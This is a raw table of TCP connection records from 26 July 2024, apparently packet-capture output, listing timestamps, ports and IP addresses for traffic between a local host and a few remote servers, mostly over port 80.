Jul 26, 2024 08:58:08.022325993 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.022336960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.022396088 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.023243904 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023257017 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023267031 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023277998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023289919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023302078 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023313999 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023324966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.023359060 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.023638010 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.024112940 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024125099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024136066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024148941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024159908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024178982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024190903 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024203062 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.024214983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025398016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025410891 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025428057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025435925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025438070 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025439978 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025444031 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025456905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.025469065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026063919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026077032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026132107 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026144028 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026357889 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.026381016 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.026417971 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.026922941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026935101 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026946068 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026957989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026968956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026979923 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.026992083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027003050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027014971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027025938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027862072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027873993 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027935982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.027950048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.028876066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.028888941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.028898954 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.028912067 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.028923988 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.033380985 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.033673048 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.033900976 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.043232918 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043270111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043283939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043894053 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043905973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043917894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.043930054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.045248032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.047341108 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047396898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047410965 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047599077 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047611952 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047722101 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047761917 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.047776937 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048136950 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048151016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048162937 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048176050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048188925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048202038 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048738003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048748970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048762083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048775911 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048789024 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.048801899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049638033 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049652100 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049664021 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049679041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049690008 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049701929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.049717903 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.052361012 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.053009033 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.053045988 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.053724051 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.114026070 CEST	49816	443	192.168.2.7	152.195.19.97
Jul 26, 2024 08:58:08.114058018 CEST	443	49816	152.195.19.97	192.168.2.7
Jul 26, 2024 08:58:08.116976976 CEST	49816	443	192.168.2.7	152.195.19.97
Jul 26, 2024 08:58:08.117238998 CEST	49816	443	192.168.2.7	152.195.19.97
Jul 26, 2024 08:58:08.117253065 CEST	443	49816	152.195.19.97	192.168.2.7
Jul 26, 2024 08:58:08.385132074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385261059 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385273933 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385284901 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385581017 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385591984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.385603905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.386488914 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.386748075 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.387763977 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387774944 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387789011 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387799978 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387809992 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387821913 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387834072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387845993 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.387856960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388621092 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388633966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388643980 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388654947 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388665915 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388676882 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388689041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388700962 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388710976 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.388724089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389448881 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389461994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389472961 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389487028 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389528036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389539957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389549971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389559984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389574051 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389585972 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389602900 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.389760017 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.389900923 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.389924049 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.389952898 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.390471935 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390481949 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390492916 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390502930 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390513897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390525103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390535116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390546083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390558004 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390568018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.390578032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.390615940 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.391439915 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391453981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391463995 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391475916 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391485929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391498089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391505003 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.391509056 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391521931 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.391522884 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.391540051 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.391571045 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.392326117 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392338037 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392349005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392359972 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392370939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392383099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.392384052 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.392409086 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.392426968 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393146038 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393157005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393167019 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393177032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393188000 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393199921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393210888 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393215895 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393224001 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393234015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393243074 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393246889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393260956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393268108 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393352032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393800974 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393877029 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.393982887 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.393994093 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.394004107 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396091938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396106005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396116018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396127939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396138906 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396151066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396162033 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396173000 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396183968 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.396197081 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397239923 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397252083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397263050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397274971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397285938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397298098 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397309065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397313118 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.397320986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397334099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397346973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397684097 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.397685051 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.397716045 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.397766113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397777081 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397788048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397799015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397809982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397825003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397836924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397847891 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397855997 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.397860050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397872925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397883892 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397895098 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397906065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397918940 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.397928953 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.398124933 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.398138046 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.402311087 CEST	80	49814	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:08.402324915 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402335882 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402347088 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402359009 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402369976 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402380943 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402394056 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.402430058 CEST	49814	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:08.402456999 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.402456999 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.404345989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404357910 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404367924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404381037 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404392004 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404520988 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404531956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404544115 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404555082 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404567003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404577971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404588938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404602051 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404613018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404625893 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.404782057 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.404875994 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.405597925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405608892 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405618906 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405630112 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405639887 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405651093 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405662060 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405673027 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405683041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405694962 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405705929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405718088 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405728102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405738115 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405749083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.405761003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406460047 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406471968 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406481981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406491995 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406502962 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406513929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406523943 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406534910 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406543970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406553984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406563997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406573057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406583071 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406594038 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406604052 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406615019 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.406905890 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.406949043 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.406969070 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.406991005 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407120943 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407135963 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407145023 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407155991 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407175064 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407188892 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407286882 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407299042 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407308102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407320023 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407330036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407336950 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407342911 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407351971 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407356024 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407368898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407371044 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407380104 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407392979 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407402992 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407407045 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407418966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407432079 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407453060 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.407469034 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.407531977 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408266068 CEST	80	49807	185.215.113.16	192.168.2.7
